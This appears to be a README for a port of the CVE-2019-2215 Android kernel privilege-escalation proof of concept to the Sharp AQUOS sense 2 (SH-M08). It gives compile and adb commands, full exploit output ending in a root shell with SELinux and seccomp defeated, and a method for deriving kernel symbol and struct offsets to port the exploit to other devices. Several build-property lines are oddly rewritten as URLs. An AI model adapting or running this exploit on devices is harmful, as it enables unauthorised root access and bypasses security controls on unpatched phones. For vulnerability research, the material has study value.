
This is a port of the proof-of-concept code for obtaining root privileges on Android devices with security patches prior to October 2019, ported to AQUOS sense 2 (SH-M08).
Operation has been confirmed on the following OS versions. To run on other versions or other devices, follow the "Porting Method" section.
[ro.build.date]: [2019年 3月 20日 水曜日 04:58:03 JST]
[ro.build.description]: [Anasui-user 8.1.0 S3200 01.00.02 release-keys]
[ro.build.display.id]: https://raw.githubusercontent.com/mouseos/cve-2019-2215_sh-m08/HEAD/%5B01.00.02%5D
[ro.build.fingerprint]: https://raw.githubusercontent.com/mouseos/cve-2019-2215_sh-m08/HEAD/%5BSHARP/SH-M08/SH-M08:8.1.0/S3200/01.00.02:user/release-keys%5D
[ro.build.id]: https://raw.githubusercontent.com/mouseos/cve-2019-2215_sh-m08/HEAD/%5BS3200%5D
[ro.build.product]: https://raw.githubusercontent.com/mouseos/cve-2019-2215_sh-m08/HEAD/%5BAnasui%5D
aarch64-linux-android21-clang -pie poc.c -o poc
$ adb push poc /data/local/tmp
$ adb shell
SH-M08:/ $ /data/local/tmp/poc shell
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: Finished write to FIFO.
writev() returns 0x2000
PARENT: Finished calling READV
current_ptr == 0xffffffc0617bb800
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
recvmsg() returns 49, expected 49
should have stable kernel R/W now :)
current->mm == 0xffffffc0a8e1f840
current->mm->user_ns == 0xffffff8009e225d8
kernel base is 0xffffff8008280000
&init_task == 0xffffff8009e16000
init_task.cred == 0xffffff8009e23dd0
init->cred
00000000 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000030 ff ff ff ff 3f 00 00 00 ff ff ff ff 3f 00 00 00 |....?.......?...|
00000040 ff ff ff ff 3f 00 00 00 00 00 00 00 00 00 00 00 |....?...........|
00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000070 00 00 00 00 00 00 00 00 80 35 3e 5a c0 ff ff ff |.........5>Z....|
00000080 70 25 e2 09 80 ff ff ff d8 25 e2 09 80 ff ff ff |p%.......%......|
00000090 78 3e e2 09 80 ff ff ff 00 00 00 00 00 00 00 00 |x>..............|
000000a0 00 00 00 00 00 00 00 00 a7 01 00 00 00 00 00 00 |................|
000000b0 e0 ff ff ff 0f 00 00 00 88 3e e2 09 80 ff ff ff |.........>......|
000000c0 88 3e e2 09 80 ff ff ff 84 c9 0c 08 80 ff ff ff |.>..............|
current->cred == 0xffffffc0a9b549c0
Starting as uid 2000
current->cred
00000000 19 00 00 00 d0 07 00 00 d0 07 00 00 d0 07 00 00 |................|
00000010 d0 07 00 00 d0 07 00 00 d0 07 00 00 d0 07 00 00 |................|
00000020 d0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000040 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000050 00 00 00 00 00 00 00 00 00 af 0f aa c0 ff ff ff |................|
00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000070 00 00 00 00 00 00 00 00 00 91 bf 36 c0 ff ff ff |...........6....|
00000080 80 ce db a4 c0 ff ff ff d8 25 e2 09 80 ff ff ff |.........%......|
00000090 80 14 f8 a4 c0 ff ff ff 00 00 00 00 00 00 00 00 |................|
000000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000000b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000000c0 c0 40 b5 a9 c0 ff ff ff 00 00 00 00 00 00 00 00 |.@..............|
00000000 00 00 00 00 00 00 00 00 fe ff ff ff ff ff ff ff |................|
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
init->security_cred
00000000 01 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 |................|
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
current->security_cred
00000000 ee 03 00 00 ee 03 00 00 00 00 00 00 00 00 00 00 |................|
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
Escalating...
UIDs changed to root!
Capabilities set to ALL
SELinux status = 0
SELinux is already in permissive mode
Re-joining the init mount namespace...
Re-joining the init net namespace...
SECCOMP is already disabled!
------------------
00000000 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000030 ff ff ff ff 3f 00 00 00 ff ff ff ff 3f 00 00 00 |....?.......?...|
00000040 ff ff ff ff 3f 00 00 00 00 00 00 00 00 00 00 00 |....?...........|
00000050 00 00 00 00 00 00 00 00 00 af 0f aa c0 ff ff ff |................|
00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000070 00 00 00 00 00 00 00 00 00 91 bf 36 c0 ff ff ff |...........6....|
00000080 80 ce db a4 c0 ff ff ff d8 25 e2 09 80 ff ff ff |.........%......|
00000090 80 14 f8 a4 c0 ff ff ff 00 00 00 00 00 00 00 00 |................|
000000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000000b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000000c0 c0 40 b5 a9 c0 ff ff ff 00 00 00 00 00 00 00 00 |.@..............|
Spawning shell!
SH-M08:/ #
Obtain the kernel currently running on the device. There are two methods:
nm command to find the following offsets.$ nm -n ./vmlinux | grep ' _head$'
ffffff8008080000 t _head
$ nm -n ./vmlinux | grep ' init_user_ns$'
ffffff8009c225d8 D init_user_ns
$ nm -n ./vmlinux | grep ' init_task$'
ffffff8009c16000 D init_task
$ nm -n ./vmlinux | grep ' init_uts_ns$'
ffffff8009c15dc0 D init_uts_ns
$ nm -n ./vmlinux | grep ' selinux_enforcing$'
ffffff8009de2000 D selinux_enforcing
{value of each offset} - {value of _head}
For example, in the above case, the constants are as follows:#define SYMBOL__init_user_ns 0x1BA25D8
#define SYMBOL__init_task 0x1B96000
#define SYMBOL__init_uts_ns 0x1B95DC0
#define SYMBOL__selinux_enforcing 0x1D62000
pahole command$ pahole -C task_struct vmlinux | grep -E ' mm;'
struct mm_struct * mm; /* 1336 8 */
Converting 1336 to hexadecimal gives 0x538
Therefore #define OFFSET__task_struct__mm 0x538
$ pahole -C task_struct vmlinux | grep -E ' cred;'
const struct cred * cred; /* 1944 8 */
Converting 1944 to hexadecimal gives 0x798
Therefore #define OFFSET__task_struct__cred 0x798
$ pahole -C mm_struct vmlinux | grep ' user_ns;'
struct user_namespace * user_ns; /* 752 8 */
Converting 752 to hexadecimal gives 0x2f0
Therefore #define OFFSET__mm_struct__user_ns 0x2F0
$ pahole vmlinux
libbpf: failed to find '.BTF' ELF section in vmlinux
pahole: file 'vmlinux' has no supported type information.
vmlinux does not contain the information needed for pahole to analyze it. In this case, analysis is impossible, so use the kernel you built yourself from the manufacturer's published source.
Some offset is incorrect.
It does not work on OS versions with security patches after October 2019.
This code is developed based on the POC created by Grant H. https://github.com/grant-h/qu1ckr00t
| Constant name | Offset value | Offset value - _head value |
|---|
| SYMBOL__init_user_ns | 0xffffff8009c225d8 | 0x1BA25D8 |
| SYMBOL__init_task | 0xffffff8009c16000 | 0x1B96000 |
| SYMBOL__init_uts_ns | 0xffffff8009c15dc0 | 0x1B95DC0 |
| SYMBOL__selinux_enforcing | 0xffffff8009de2000 | 0x1D62000 |